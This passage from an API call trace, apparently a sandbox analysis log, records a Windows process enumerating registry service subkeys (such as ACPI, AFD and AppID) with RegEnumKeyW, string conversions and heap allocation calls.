Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.901] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1e38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0253.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.901] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0253.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0253.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.901] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0253.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0253.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.902] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0253.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0253.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.902] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0253.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0253.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1e38, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0253.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.902] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0253.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0253.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.902] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0253.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0253.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.903] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0253.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0253.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.903] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0253.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0253.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.903] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0253.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1df0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0253.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.904] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0253.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0253.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.904] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0253.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0253.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.904] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0253.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0253.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.904] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0253.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0253.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.905] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0253.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0253.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.905] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0253.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0253.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.905] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0253.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0253.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.906] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0253.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0253.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.906] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0253.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0253.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.906] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0253.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0253.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.906] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0253.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 